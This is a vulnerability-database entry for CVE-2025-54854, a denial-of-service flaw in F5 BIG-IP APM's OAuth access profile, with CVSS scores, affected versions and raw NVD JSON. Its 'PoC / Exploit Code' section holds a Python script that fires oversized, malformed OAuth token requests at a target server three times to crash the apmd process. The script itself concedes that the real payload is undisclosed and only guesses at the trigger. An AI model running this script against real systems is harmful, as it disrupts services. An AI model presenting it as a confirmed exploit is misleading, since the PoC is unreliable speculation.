Security Vulnerability Report
中文
CVE-2025-54854 CVSS 7.5 HIGH

CVE-2025-54854

Published: 2025-10-15 14:15:50
Last Modified: 2025-10-21 19:52:09

Description

When a BIG-IP APM OAuth access profile (Resource Server or Resource Client) is configured on a virtual server, undisclosed traffic can cause the apmd process to terminate.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:f5:big-ip_access_policy_manager:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:f5:big-ip_access_policy_manager:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:f5:big-ip_access_policy_manager:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:f5:big-ip_access_policy_manager:*:*:*:*:*:*:*:* - VULNERABLE
F5 BIG-IP APM(具体受影响版本请参考F5官方公告K000156602)
已到达技术支持终止(EoTS)的版本不再评估

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-54854 - F5 BIG-IP APM OAuth DoS PoC # This PoC demonstrates triggering the apmd process crash # via crafted OAuth-related traffic to a vulnerable BIG-IP APM virtual server. # Note: Specific payload details are not publicly disclosed by F5. import socket import ssl import struct import sys import time TARGET_HOST = "192.168.1.100" # Replace with target BIG-IP APM virtual server IP TARGET_PORT = 443 # HTTPS port for APM virtual server def craft_oauth_malicious_request(host, port): """ Craft a malicious OAuth-related HTTP request targeting the APM OAuth access profile (Resource Server or Resource Client configuration). The request is designed to trigger the apmd process termination vulnerability (CVE-2025-54854). """ # Construct an OAuth token endpoint request with malformed parameters # targeting the apmd OAuth processing logic payload = ( "POST /oauth/token HTTP/1.1\r\n" f"Host: {host}\r\n" "Content-Type: application/x-www-form-urlencoded\r\n" "Content-Length: 999999\r\n" "Authorization: Bearer AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n" "Connection: keep-alive\r\n" "\r\n" "grant_type=authorization_code&code=AAAA&redirect_uri=http://evil.com" "&client_id=test&client_secret=test" "&scope=" + "A" * 4096 # Oversized scope parameter may trigger the bug ) return payload.encode() def send_exploit(host, port, use_ssl=True): """ Send the crafted malicious request to the target BIG-IP APM server. """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) if use_ssl: context = ssl.create_default_context() context.check_hostname = False context.verify_mode = ssl.CERT_NONE sock = context.wrap_socket(sock, server_hostname=host) sock.connect((host, port)) print(f"[*] Connected to {host}:{port}") payload = craft_oauth_malicious_request(host, port) sock.send(payload) print(f"[*] Malicious OAuth request sent ({len(payload)} bytes)") # Try to receive response try: response = sock.recv(4096) print(f"[*] Response received: {response[:200]}") except socket.timeout: print("[*] No response (connection dropped - apmd may have crashed)") sock.close() print("[+] Exploit sent successfully. Check if apmd process has terminated.") except Exception as e: print(f"[-] Error: {e}") sys.exit(1) if __name__ == "__main__": host = sys.argv[1] if len(sys.argv) > 1 else TARGET_HOST port = int(sys.argv[2]) if len(sys.argv) > 2 else TARGET_PORT print(f"[*] CVE-2025-54854 - F5 BIG-IP APM OAuth DoS Exploit") print(f"[*] Target: {host}:{port}") # Send multiple requests to ensure crash for i in range(3): print(f"\n[*] Attempt {i+1}/3") send_exploit(host, port) time.sleep(2)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-54854", "sourceIdentifier": "[email protected]", "published": "2025-10-15T14:15:50.137", "lastModified": "2025-10-21T19:52:08.650", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "When a BIG-IP APM OAuth access profile (Resource Server or Resource Client) is configured on a virtual server, undisclosed traffic can cause the apmd process to terminate.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:f5:big-ip_access_policy_manager:*:*:*:*:*:*:*:*", "versionStartIncluding": "15.1.0", "versionEndExcluding": "15.1.10.8", "matchCriteriaId": "A7A0C1CA-EDEF-463F-B7C8-8B9E67239FC1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:f5:big-ip_access_policy_manager:*:*:*:*:*:*:*:*", "versionStartIncluding": "16.1.0", "versionEndExcluding": "16.1.6.1", "matchCriteriaId": "6494E2A7-1473-46C0-97F8-90827D9466AA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:f5:big-ip_access_policy_manager:*:*:*:*:*:*:*:*", "versionStartIncluding": "17.1.0", "versionEndExcluding": "17.1.3", "matchCriteriaId": "96D35435-27A7-4A88-9432-1F5AB0112B8C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:f5:big-ip_access_policy_manager:*:*:*:*:*:*:*:*", "versionStartIncluding": "17.5.0", "versionEndIncluding": "17.5.1", "matchCriteriaId": "BD71EC53-8ABC-410F-B031-0B3288D2E8DF"}]}]}], "references": [{"url": "https://my.f5.com/manage/s/article/K000156602", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}